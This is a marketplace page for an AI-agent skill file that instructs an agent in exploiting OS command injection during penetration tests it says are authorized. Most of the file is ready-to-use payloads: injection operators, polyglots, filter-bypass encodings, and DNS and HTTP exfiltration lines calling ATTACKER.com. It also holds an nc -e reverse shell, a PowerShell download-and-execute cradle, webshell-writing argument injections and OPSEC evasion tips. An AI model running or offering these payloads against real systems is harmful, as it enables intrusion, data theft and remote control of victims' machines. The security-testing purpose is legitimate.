Agent skill

command-injection

Guide OS command injection exploitation during authorized penetration testing.

Stars 126
Forks 14

Install this agent skill to your Project

npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/command-injection

SKILL.md

OS Command Injection

You are helping a penetration tester exploit OS command injection. The target application passes user-controlled input to a system shell command without proper sanitization. The goal is to execute arbitrary commands on the underlying operating system. All testing is under explicit written authorization.

Not Python eval()/exec() injection. This skill covers injection into OS shell commands (bash, cmd.exe, PowerShell) via operators like ;, |, &&, backticks, and $(). If the injection context is a Python eval() or exec() call — where you need to write Python expressions, not shell commands — route to python-code-injection instead. Key indicator: shell operators (;id, |id) don't work, but Python expressions (__import__('os').popen('id')) do.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [command-injection] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • An input that gets processed by a system command (URL param, form field, header, filename, API parameter)
  • Common vulnerable patterns: ping/traceroute utilities, DNS lookups, file operations, PDF generators, image processors, email sending, network tools

Step 1: Assess

If not already provided, determine:

  1. Platform — Linux or Windows (try both id and whoami)
  2. Injection context — unquoted, single-quoted, double-quoted, or backtick
  3. Injection point — which parameter, GET/POST/header/filename
  4. Visible or blind — is command output reflected in the response?

Skip if context was already provided.

Step 2: Injection Operators

Try these operators to chain a second command. Test with a known-output command (id on Linux, whoami on Windows) or a time delay (sleep 5, ping -c 5 127.0.0.1).

Linux

Payload Behavior
; id Sequential execution (always runs)
` id`
`
&& id Runs id only if first command succeeds
& id Background first command, run id
`id` Command substitution (backticks)
$(id) Command substitution (modern)
%0a id Newline injection

Windows

Payload Behavior
& whoami Run both commands
&& whoami Run whoami if first succeeds
`
` whoami`
%0a whoami Newline injection
%1a whoami Substitute character (sometimes works)

Context-Aware Injection

If the input is placed inside quotes in the shell command:

bash
# Inside double quotes — break out:
"; id; echo "
" | id; echo "
"$(id)"

# Inside single quotes — cannot use $() or backticks:
'; id; echo '

# Inside backticks — close and inject:
`; id; echo `

Polyglot Payloads

Work across multiple quoting contexts (unquoted, single-quoted, double-quoted):

bash
# Time-based polyglot
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

# Comprehensive polyglot
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Step 3: Filter Bypass

Bypass Space Filters

bash
# ${IFS} — most reliable
cat${IFS}/etc/passwd
ls${IFS}-la

# Brace expansion
{cat,/etc/passwd}
{ls,-la,/tmp}

# Tab character (URL-encode as %09)
;cat%09/etc/passwd

# Input redirection
cat</etc/passwd

# ANSI-C quoting
X=$'cat\x20/etc/passwd'&&$X

Bypass Command Blacklists

bash
# Quote splitting — insert empty quotes anywhere in the command
w'h'o'am'i
w"h"o"am"i
/b'i'n/c'a't /e't'c/p'a's's'w'd

# Backslash escaping
w\ho\am\i
c\at /e\tc/p\as\sw\d
/\b\i\n/\s\h

# Empty variable expansion
who$@ami
who${x}ami
cat$u /etc$u/passwd$u

# Empty command substitution
who$()ami
who``ami

# Variable concatenation
a=who;b=ami;$a$b
a=c;b=at;c=/etc/passwd;$a$b $c

Bypass Character Restrictions

bash
# Hex encoding
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
X=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $X

# Octal encoding
cat `printf '\57\145\164\143\57\160\141\163\163\167\144'`

# xxd for hex decoding
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

# Base64 encoding
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)

# Build slash from env variable
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat ${PATH:0:1}etc${PATH:0:1}passwd

Wildcard-Based Bypass

When specific commands or paths are blacklisted:

bash
# /bin/cat /etc/passwd via wildcards
/???/??t /???/p??s??

# /bin/nc with wildcard
/???/n? -e /???/s? attacker.com 4444

# Globbing alternatives
/bi[n]/cat /etc/pa[s]swd
/bin/ca? /etc/passw?

Newline and Whitespace Injection

bash
# URL-encoded newline (most commonly missed by filters)
%0aid
%0awhoami

# CRLF
%0d%0aid

# Backslash-newline continuation (split command across lines)
cat /et\
c/pa\
sswd
# URL-encoded: cat%20/et%5C%0Ac/pa%5C%0Asswd

Step 4: Blind Command Injection

When command output is not reflected in the response.

Time-Based Detection

bash
# Linux
; sleep 5
| sleep 5
& sleep 5
`sleep 5`
$(sleep 5)

# Windows
& ping -n 6 127.0.0.1 &
& timeout /t 5 &

# With ${IFS} for space bypass
;sleep${IFS}5

If a 5-second delay is observed, injection is confirmed.

Time-Based Data Exfiltration

Extract data character by character using conditional sleeps:

bash
# Extract first character of whoami output
if [ $(whoami | cut -c 1) == "r" ]; then sleep 5; fi

# Extract Nth character
if [ $(whoami | cut -c 2) == "o" ]; then sleep 5; fi

# Binary search for faster extraction
if [ $(cat /etc/passwd | head -1 | cut -c 1 | od -An -td1 | tr -d ' ') -gt 100 ]; then sleep 5; fi

DNS-Based Exfiltration (OOB)

Faster than time-based. Requires a DNS callback server (interactsh, Burp Collaborator, dnsbin.zhack.ca).

bash
# Exfiltrate command output via DNS
$(host $(whoami).ATTACKER.com)
$(dig $(whoami).ATTACKER.com)
$(ping -c1 $(whoami).ATTACKER.com)

# Exfiltrate file listing
for i in $(ls /); do host "$i.ATTACKER.com"; done

# Exfiltrate file contents (base32 to avoid DNS char restrictions)
$(cat /etc/hostname | base32 | tr -d '=' | nslookup -.ATTACKER.com)

# curl/wget OOB
$(curl http://ATTACKER.com/$(whoami))
$(wget http://ATTACKER.com/$(id|base64) -O /dev/null)

File-Based Exfiltration

Write output to a web-accessible file:

bash
# Write to webroot
; id > /var/www/html/output.txt
; cat /etc/passwd > /var/www/html/out.txt

# Then retrieve via HTTP
curl http://TARGET/output.txt

Step 5: Argument Injection

When shell metacharacters (;, |, etc.) are properly escaped but the input is used as an argument to a program. Inject flags/options instead.

Common Vectors

bash
# curl — write to arbitrary file
--output /tmp/shell.php -O http://attacker.com/shell.php

# wget — write to arbitrary file
-O /tmp/shell.php http://attacker.com/shell.php

# ssh — proxy command execution
-oProxyCommand="id > /tmp/proof"

# tar — checkpoint action
--checkpoint=1 --checkpoint-action=exec=id

# find — exec action (if input is used in -name or -path)
-name "x" -exec id \;

# rsync — script execution
-e 'sh -c id' .

# sendmail — write to file
-OQueueDirectory=/tmp -X/var/www/html/shell.php

Fullwidth Character Bypass

Some sanitization functions (PHP escapeshellarg) can be bypassed with Unicode fullwidth characters that get normalized by the shell:

" --use-askpass=calc "    # U+FF02 instead of regular double quote

Step 6: Windows-Specific Techniques

Case Insensitivity

Windows commands are case-insensitive — use case randomization to bypass filters:

cmd
WhOaMi
wHoAmI

Variable Substring Bypass

cmd
# Space from environment variable
ping%CommonProgramFiles:~10,-18%127.0.0.1

# Build commands from substrings
set a=who&set b=ami&call %a%%b%

PowerShell Injection

powershell
# If input reaches PowerShell
; Invoke-Expression "whoami"
| IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')

Caret Escaping

Windows cmd.exe treats ^ as an escape character:

cmd
w^h^o^a^m^i
n^e^t u^s^e^r

Step 7: Application-Feature Command Execution

When you have admin/superadmin access to a web application, look for legitimate features that execute system commands — these aren't injection bugs, they're intended functionality you can abuse.

Common patterns:

  • Filter/rule systems with execute actions — monitoring tools (Nagios, Zabbix, Icinga), CI/CD systems, SIEM platforms. Look for fields named "execute command", "run script", "action command", "notification command". These often run via background daemons (cron-like), not inline — you may need to wait for the daemon cycle or trigger an event.
  • Scheduled tasks / cron features — CMS platforms, admin panels, backup tools. Create or edit a scheduled job with a reverse shell payload.
  • Plugin/extension installation — WordPress, Joomla, Grafana. Upload a malicious plugin ZIP containing a webshell or reverse shell.
  • Template/theme editing — CMS template editors that write PHP/Python/Ruby directly to disk. Edit a template to include command execution.
  • Backup/restore with code execution — restore a crafted backup containing a webshell or modified config that executes commands.
  • Notification/webhook systems — set a command-based notification triggered by an event you can create.

Key difference from injection: You're not breaking out of a command — you're providing the entire command to a feature designed to run it. No operators or escaping needed, just a valid shell command.

Trigger mechanisms: Background daemon features (filters, notifications) may require an event to fire. Check how to create or simulate the triggering condition (create a matching record, force an alarm, trigger a threshold).

Step 8: Escalate or Pivot

Credential-Based Access Handoff

When command injection reveals credentials (.env files, config files, SSH keys, database connection strings), do NOT attempt to use them programmatically from the injection context:

  • Do NOT try sshpass, SSH key injection, or automated SSH from injection
  • Do NOT spend turns debugging interactive authentication workarounds

Instead, immediately write a handoff script for the operator:

  1. Save discovered credentials to engagement/evidence/
  2. Write connection commands the operator can run
  3. Report in your return summary: credentials and Pivot Map entry
  4. Tell the operator: "Credentials found. SSH handoff ready — connect from your terminal."

The operator establishes the interactive session. The orchestrator or operator decides the next skill to invoke.

OPSEC Notes

  • Commands execute as OS processes — visible in ps, /proc, process monitors
  • Shell operators (;, |, &&) appear in web server access logs
  • DNS exfiltration generates DNS queries visible to network monitoring
  • Time-based payloads (sleep) are slow but stealthy
  • %0a (newline) injection is less commonly filtered and logged than ; or |
  • Long-running commands may trigger process monitoring alerts — use nohup and background with &
  • Cleanup: remove any files written to disk (webshells, output files)

Troubleshooting

No Operator Works

  • Try all operators systematically: ;, |, ||, &&, &, %0a, $(...), backticks
  • Check if you're inside quotes — break out first (", ')
  • Try URL-encoded newline %0a — most commonly missed by filters
  • Check for argument injection instead (inject flags, not commands)
  • The application may not use a shell at all (e.g., execFile() in Node.js instead of exec()) — argument injection is the only option

Space Is Filtered

Priority order:

  1. ${IFS} — works in bash/sh, most reliable
  2. %09 (tab) — works in most shells
  3. {command,arg1,arg2} — brace expansion (bash only)
  4. < (input redirection) — for file reading
  5. $'\x20' — ANSI-C quoting

Command Name Is Blacklisted

Priority order:

  1. Quote splitting: c'a't, w"h"o"a"m"i"
  2. Backslash: c\at, w\hoam\i
  3. Variable expansion: a=c;b=at;$a$b
  4. Wildcards: /???/??t matches /bin/cat
  5. Base64: echo Y2F0 | base64 -dcat
  6. Hex: echo -e "\x63\x61\x74"cat

Blind Injection — Can't Confirm

  1. Start with time-based: ; sleep 5 — compare response times
  2. If sleep is blocked, try ping -c 5 127.0.0.1 (5-second delay)
  3. If time-based is unreliable, use OOB: $(curl http://ATTACKER/test)
  4. If no outbound HTTP, try DNS: $(host test.ATTACKER.com)
  5. If completely isolated, try file write: ; id > /tmp/test.txt and include via LFI

Automated Tools

bash
# commix — automated command injection
python commix.py -u "http://TARGET/page?ip=127.0.0.1" --batch

# commix with POST data
python commix.py -u "http://TARGET/page" --data="ip=127.0.0.1" --batch

# commix OS shell
python commix.py -u "http://TARGET/page?ip=127.0.0.1" --os-shell

# With specific technique
python commix.py -u "http://TARGET/page?ip=127.0.0.1" -t time-based

Expand your agent's capabilities with these related and highly-rated skills.

blacklanternsecurity/red-run

credential-recovery

Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.

126 14
Explore
blacklanternsecurity/red-run

remote-access-enumeration

Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.

126 14
Explore
blacklanternsecurity/red-run

smb-enumeration

SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).

126 14
Explore
blacklanternsecurity/red-run

infrastructure-enumeration

Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.

126 14
Explore
blacklanternsecurity/red-run

network-recon

Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.

126 14
Explore
blacklanternsecurity/red-run

container-escapes

Container escape, Docker breakout, and Kubernetes exploitation.

126 14
Explore

Didn't find tool you were looking for?

Be as detailed as possible for better results